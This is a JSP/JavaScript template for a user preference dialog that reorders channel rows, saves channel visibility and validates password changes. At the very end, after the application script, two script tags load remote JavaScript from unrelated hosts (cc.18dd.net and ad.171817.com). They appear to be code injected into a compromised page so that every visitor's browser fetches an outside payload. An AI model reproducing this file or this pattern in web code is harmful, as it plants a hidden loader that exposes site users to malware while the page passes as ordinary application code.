
<script>
//---------------------channel preference-----------------------
var o1,o2,str1,str2,num1,num2;
var o1a=new Array();
var o2a=new Array();
var oldPreferenceForm = {
   preference : '',
   locale : '',
   disableViewChannel :''
}

function switchTd(tr1,tr2){ 

 for(x=0;x<o1a.length-1;x++){  
  tr1.cells[x].innerHTML=o2a[x];
  tr2.cells[x].innerHTML=o1a[x];
  }
 
}

 function SetRow(dir,tr){
 var o;
 var table=document.getElementById("preferenceList");
 var trs = table.getElementsByTagName("tr");
 var index=0;
 for(j=0;j<trs.length;j++){
    if(trs[j].id==tr){
	  o=trs[j];
	  index = j;
	  break;
	}
 }

checkCanEditSequence = function(trEle){
 var inputs = trEle.getElementsByTagName("INPUT");
 var canEditSequence = false;
 if(inputs[2].value=='true'){
   canEditSequence = false;
 }else{
   canEditSequence = true;
 }

 return canEditSequence;
 }

checkOperation = function(trEle,trIndex){

 if(!trEle){
  false;
 }

 if(!checkCanEditSequence(trEle)){
  return false;
 }

 if(trIndex<=0&&dir=="up"){
  return false;
 }

 if(dir=="down"&&trIndex>=trs.length-1){
  return false;
 }
 
 if(dir=="down"&&!checkCanEditSequence(trs[trIndex+1])){
  return false;
 }
 return true;
 } 

 
 if(!checkOperation(o,index)){
  return false;
 }

 o1=trs[index]; 
 var tdLen=trs[index].cells.length;
 o1a.length=tdLen;
 o2a.length=tdLen;
 
 for( i=0;i<tdLen;i++){
   o1a[i]=trs[index].cells[i].innerHTML;
   if(dir=="down"){
      o2a[i]=trs[index+1].cells[i].innerHTML;
      }
   else{
      o2a[i]=trs[index-1].cells[i].innerHTML;
     }
  }
 if(dir=="down"){
   o2=trs[index+1]; 
 }else{
   o2=trs[index-1];
 }
 
  
  switchTd(o1,o2);

}

function OpCreate(needClose) {
  if(!custPreferenceValidate()){
    return false;
  }
  
  document.maintPersonalHomePreferenceForm.opMode.value="<%=GlobalConstant.OP_MODE_INSERT%>"
  document.maintPersonalHomePreferenceForm.navMode.value="<%=GlobalConstant.NAV_MODE_NEW%>";
  document.maintPersonalHomePreferenceForm.disableViewChannel.value=OpSaves();
  //document.maintPersonalHomePreferenceForm.submit();
  
  //open confirm box when it is a "maintXXX" form page and the parameter need to refresh changed 
  if(checkConfirmationPage()&&checkNeedRefresh()){
    if(!confirm("<bean:message key='common.message.confirm_refresh_page'/>")){
      return;
    }
  }

  if(needClose){
    submitForm(document.maintPersonalHomePreferenceForm,saveAndClose,null);
  }else{
    submitForm(document.maintPersonalHomePreferenceForm,setTheChannelPannel,null);
  }
  return false;
  }
  
 /**
  * set the channelPannel
 */
 function setTheChannelPannel(txt){
   setPannelValue(txt,null);
   if(document.maintPersonalHomePreferenceForm.navMode.value=="V"){
     showTab('channelPreferenceTab','generalPreferenceTab','DialogContent');
   }else{
     showTab('channelPreferenceTab','changePwdTab','DialogContent'); 
   }
 }
 function saveAndClose(txt){
   setPannelValue(txt,null);
   showTab('channelPreferenceTab','changePwdTab','DialogContent');
   if(document.maintPersonalHomePreferenceForm.navMode.value=="V"){
   //when navMode is V,means edit successfully.
     OpClose('true');
   } 
 }
 function OpClose(refresh){
	frameDlg.hide();
    if(refresh=="true"){
     if(checkNeedRefresh()){
       window.location.reload();
     }    
    }	
    //-------------
    var body = document.getElementsByTagName("BODY");
    body[0].scroll="auto";//FOR DOJO IE BUG 
 
 }

  function checkNeedRefresh(){
    if(!document.maintPersonalHomePreferenceForm||!oldPreferenceForm){
      return;
    }
    var preference = document.maintPersonalHomePreferenceForm.preference.value;
    var locale = document.maintPersonalHomePreferenceForm.locale.value;
    var disableViewChannel = document.maintPersonalHomePreferenceForm.disableViewChannel.value;
    var parentPageFormName;
    
    //get parent page form name
    if(getParentPageForm()){
      parentPageFormName = getParentPageForm().name;
    }
    // all page need to refresh when preference or locale changed
    if(preference != oldPreferenceForm.preference||locale != oldPreferenceForm.locale){
       return true;
    }
    if(disableViewChannel != oldPreferenceForm.disableViewChannel){
      //only home page need to refresh when this para changed
      if(parentPageFormName&&parentPageFormName.indexOf("HomeForm") != -1){
        return true;
      }       
    }
    return false;
  }
  
  function getParentPageForm(){
    var parentPageForm;
    
    for(var i=0;i<window.parent.document.forms.length;i++){      
      if(window.parent.document.forms[i].name!=""&&
          window.parent.document.forms[i].name!="maintPersonalHomePreferenceForm"){
        parentPageForm = window.parent.document.forms[i];       
        break;
      }
    }    
    return parentPageForm;
  }
  
  function checkConfirmationPage(){
    var parentPageForm;
    
    parentPageForm = getParentPageForm();
    //form such as "maint*" page need confirmation except "maintPersonalHomePreferenceForm"
    if(parentPageForm&&parentPageForm.name.indexOf("maint")!=-1&&
      parentPageForm.name != "maintPersonalHomePreferenceForm"){
      return true;
    }
    return false;
  }
 
 function OpSaves(){
 var str=null;
 var table=document.getElementById("preferenceList");
 var trs = table.getElementsByTagName("tr");

 for(n=0;n<trs.length;n++){
   var channelInputs=trs[n].getElementsByTagName("INPUT");
   var channelSels  =trs[n].getElementsByTagName("SELECT");
   if(channelInputs&&channelSels&&channelInputs.length>0&&channelSels.length>0){
   if(str==null)
	   str=getChannelRadioValue(channelInputs)+"_"+channelSels[0].value+"_"+trs[n].rowIndex;
   else
       str=str+"|"+getChannelRadioValue(channelInputs)+"_"+channelSels[0].value+"_"+trs[n].rowIndex;
   }
 }

 return str;
}
function getChannelRadioValue(eles){
  for(i=0;i<eles.length;i++){
     if(eles[i].type=="checkbox"){
	    if(eles[i].checked){	 
		 return (eles[i].value+"_Y");
		 }else{
		 return (eles[i].value+"_N");
		 }
	  }
  }
  return "";
}


function OpChannelPreference(){
  FindObj('iframeLoading').style.visibility='visible';
  var url = "<%=request.getContextPath()%>/user/MaintPersonalHomePreference.do?SHOW_HEADER_FOOTER=N";
  frameDlg.setUrl(url);
  frameDlg.show();
  dojo.event.connect('after',frameDlg,'show',window.self , 'InitializeAction');
  var body = document.getElementsByTagName("BODY");
  body[0].scroll="no";//FOR DOJO IE BUG
  //window.open(url,"","");
  return false;
}


function custPreferenceValidate() {
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
    }
  }
  
  if(frm.loginPwd.value=="" && frm.loginPwd2.value==""){
    return true;//did not change pwd
  }

  if (frm.loginPwd.value == frm.origPwd.value) {
	alert("<bean:message key='errors.login.new_password_cannot_same_original_password'/>");
	frm.loginPwd.focus();
    return(false);
  }
  
  if (frm.loginPwd.value!=frm.loginPwd2.value) {
	  alert("<bean:message key='setup.label.same_pwd'/>");
	  frm.loginPwd2.focus();
    return(false);
  }
  
  if(frm.loginPwd.value!="" && frm.loginPwd.value.length<6){
    alert("<bean:message key='setup.label.pwd_min_length'/>");
	frm.loginPwd.focus();
	return(false);
  }
  return(true);
}

function CheckPassword(obj){
  if(obj.value.indexOf(' ') > -1){
    alert("<bean:message key='errors.framework.password.character_error'/>");
    obj.value="";
    obj.focus();
  }
}
</script>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>